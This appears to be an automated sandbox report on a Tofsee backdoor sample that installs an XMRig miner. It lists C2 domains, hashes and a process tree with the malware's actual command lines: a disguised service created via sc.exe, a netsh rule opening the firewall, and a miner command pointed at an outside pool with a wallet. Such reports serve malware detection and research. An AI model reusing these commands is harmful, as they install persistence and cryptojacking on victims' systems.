Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/10/2022, 15:54

General

  • Target
    file.exe
  • Size 260KB
  • Sample221027-tb7fyscfd3
  • SHA256 a3ff25f09bbaadffd45df5bcb1aed59f5b84c95d8c104aed41b4d91bb2a019b3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gqyzrpqe\
      2⤵
        PID:260
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brxejvzo.exe" C:\Windows\SysWOW64\gqyzrpqe\
        2⤵
          PID:476
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gqyzrpqe binPath= "C:\Windows\SysWOW64\gqyzrpqe\brxejvzo.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1828
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gqyzrpqe "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3720
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gqyzrpqe
          2⤵
          • Launches sc.exe
          PID:1520
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2372
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2520 -s 1272
          2⤵
          • Program crash
          PID:2444
      • C:\Windows\SysWOW64\gqyzrpqe\brxejvzo.exe
        C:\Windows\SysWOW64\gqyzrpqe\brxejvzo.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3664
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4484
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1900
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3664 -s 540
          2⤵
          • Program crash
          PID:3372
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2520 -ip 2520
        1⤵
          PID:2932
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3664 -ip 3664
          1⤵
            PID:4208

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                brxejvzo.exe

                • Path C:\Users\Admin\AppData\Local\Temp\brxejvzo.exe
                • Size 14.1MB
                • SHA256 4895db73ec965dbb3596f35cd132f502bf581b9346893b684ddb4869599ac591
                • MD5 SHA1 SHA512 SSDEEP

                brxejvzo.exe

                • Path C:\Windows\SysWOW64\gqyzrpqe\brxejvzo.exe
                • Size 14.1MB
                • SHA256 4895db73ec965dbb3596f35cd132f502bf581b9346893b684ddb4869599ac591
                • MD5 SHA1 SHA512 SSDEEP

                memory/1900-173-0x00000000008E0000-0x00000000009D1000-memory.dmp

                memory/1900-178-0x00000000008E0000-0x00000000009D1000-memory.dmp

                memory/2520-144-0x0000000003080000-0x0000000003093000-memory.dmp

                memory/2520-134-0x0000000000400000-0x0000000002C2E000-memory.dmp

                memory/2520-143-0x0000000002E77000-0x0000000002E8C000-memory.dmp

                memory/2520-145-0x0000000000400000-0x0000000002C2E000-memory.dmp

                memory/2520-132-0x0000000002E77000-0x0000000002E8C000-memory.dmp

                memory/2520-133-0x0000000003080000-0x0000000003093000-memory.dmp

                memory/3664-150-0x0000000002E62000-0x0000000002E77000-memory.dmp

                memory/3664-152-0x0000000000400000-0x0000000002C2E000-memory.dmp

                memory/4484-154-0x0000000002400000-0x000000000260F000-memory.dmp

                memory/4484-157-0x0000000001B60000-0x0000000001B66000-memory.dmp

                memory/4484-160-0x0000000001B70000-0x0000000001B80000-memory.dmp

                memory/4484-163-0x00000000029D0000-0x00000000029D5000-memory.dmp

                memory/4484-166-0x0000000007380000-0x000000000778B000-memory.dmp

                memory/4484-169-0x00000000029E0000-0x00000000029E7000-memory.dmp

                memory/4484-153-0x0000000000800000-0x0000000000815000-memory.dmp

                memory/4484-151-0x0000000000800000-0x0000000000815000-memory.dmp

                memory/4484-147-0x0000000000800000-0x0000000000815000-memory.dmp